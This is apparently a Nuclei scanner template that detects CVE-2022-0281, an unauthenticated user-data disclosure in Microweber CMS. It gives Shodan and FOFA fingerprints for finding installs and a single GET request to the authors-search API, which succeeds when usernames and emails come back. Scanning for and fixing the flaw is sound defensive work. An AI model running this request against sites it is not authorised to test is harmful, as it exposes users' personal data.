id: CVE-2022-0281

info:
  name: Microweber Information Disclosure
  author: pikpikcu
  severity: high
  description: Microweber contains a vulnerability that allows exposure of sensitive information to an unauthorized actor in Packagist microweber/microweber prior to 1.2.11.
  impact: |
    Successful exploitation of this vulnerability can lead to the exposure of sensitive data, such as user credentials or database information.
  remediation: |
    Apply the latest security patch or update provided by the Microweber CMS vendor to fix the information disclosure vulnerability (CVE-2022-0281).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0281
    - https://github.com/microweber/microweber/commit/e680e134a4215c979bfd2eaf58336be34c8fc6e6
    - https://huntr.dev/bounties/315f5ac6-1b5e-4444-ad8f-802371da3505
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0281
    cwe-id: CWE-200
    epss-score: 0.34183
    epss-percentile: 0.96282
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,disclosure,huntr

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/search_authors"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"email":'
          - '"display_name":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204be1edd346334b53d32bb8e3f39e150b5e67a8731c947013e6eef1458e4328cd022100fc1e72aa1a07bcdd6bb35d8c0fa81aa5fbb9244b2fa665d90e23213b62693f7b:922c64590222798bb761d5b6d8e72950